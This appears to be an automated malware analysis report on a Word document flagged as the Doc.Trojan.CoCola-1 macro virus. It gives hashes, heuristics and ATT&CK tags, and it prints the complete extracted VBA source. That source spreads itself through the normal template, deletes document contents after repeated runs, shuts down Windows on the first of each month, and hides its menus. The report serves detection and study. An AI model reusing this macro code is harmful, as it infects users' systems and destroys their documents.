Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f8eb2727b13d30b…

MALICIOUS

Office (OLE)

37.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ecf547643fc837059bbf8f49550b5fe4 SHA-1: 77a397010297a8198ead921839483bf79887f4dc SHA-256: 3f8eb2727b13d30bb8bb4208742a78a2468a345f0be951ab4457ae5b3d641418
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The macro attempts to save the current document as a template and copies a macro project named 'CocaCola' between the normal template and the active document's template, likely to establish persistence or spread the malicious macro. The presence of AutoExec and AutoOpen macros, along with the ClamAV detection as 'Doc.Trojan.CoCola-1', strongly indicates a malicious intent to infect the user's system.

Heuristics 4

  • ClamAV: Doc.Trojan.CoCola-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CoCola-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2210 bytes
SHA-256: e8a9c7f87cdd71640bf2a7ac3b308ff8b920ef5ed41b21323a23a18f09d26b1b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "CocaCola"
Sub AutoExec()
CommandBars("Macro").Enabled = False
End Sub

Sub AutoOpen()
CommandBars("Macro").Enabled = False

Call DoItNow
Call HaveFun
End Sub

Sub FileSave()
On Error GoTo Failed

If ActiveDocument.Saved = False Then ActiveDocument.Save

Call DoItNow
Call HaveFun

Failed:
Exit Sub
End Sub

Sub FileSaveAs()
On Error GoTo Failed

Dialogs(wdDialogFileSaveAs).Show

If ActiveDocument.Saved = True Then
    Call DoItNow
    Call HaveFun
End If

Failed:
Exit Sub
End Sub

Sub DoItNow()
On Error Resume Next

If Not Right(UCase(ActiveDocument.Name), 3) = "DOC" _
And Not Right(UCase(ActiveDocument.Name), 3) = "DOT" Then
    Exit Sub
End If

ActiveDocument.SaveAs , wdFormatTemplate

u = NormalTemplate.Path & "\normal.dot"
w = ActiveDocument.AttachedTemplate.Path & "\" & ActiveDocument.AttachedTemplate

Application.OrganizerCopy Source:=u, _
Destination:=w, Name:="CocaCola", Object:= _
wdOrganizerObjectProjectItems

Application.OrganizerCopy Source:=w, _
Destination:=u, Name:="CocaCola", Object:= _
wdOrganizerObjectProjectItems

NormalTemplate.Save
ActiveDocument.SaveAs , wdFormatTemplate
End Sub
Sub HaveFun()
Dim Number As Integer

On Error Resume Next

Open "C:\ooo.ooo" For Input As #1
Input #1, Number
Close #1

Number = Number + 1

If Number = 15 Then
    Number = 0
    Selection.WholeStory
    Selection.Delete
    Selection.InsertBefore "Yeah, I know that life sucks sometimes. It does for me too!"
    ActiveDocument.SaveAs
    ActiveDocument.Close
End If

Open "C:\ooo.ooo" For Output As #1
Print #1, Number
Close #1

If Day(Date) = "1" Then
    MsgBox "Hello! I have infected you with a virus. I'm sorry, but I can't help it. I'm so sick!", vbCritical, "Micro$oft Word"
    Tasks.ExitWindows
End If
End Sub

Sub ToolsCustomize()
   MsgBox "Out of memory.", vbCritical, "Microsoft Word"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.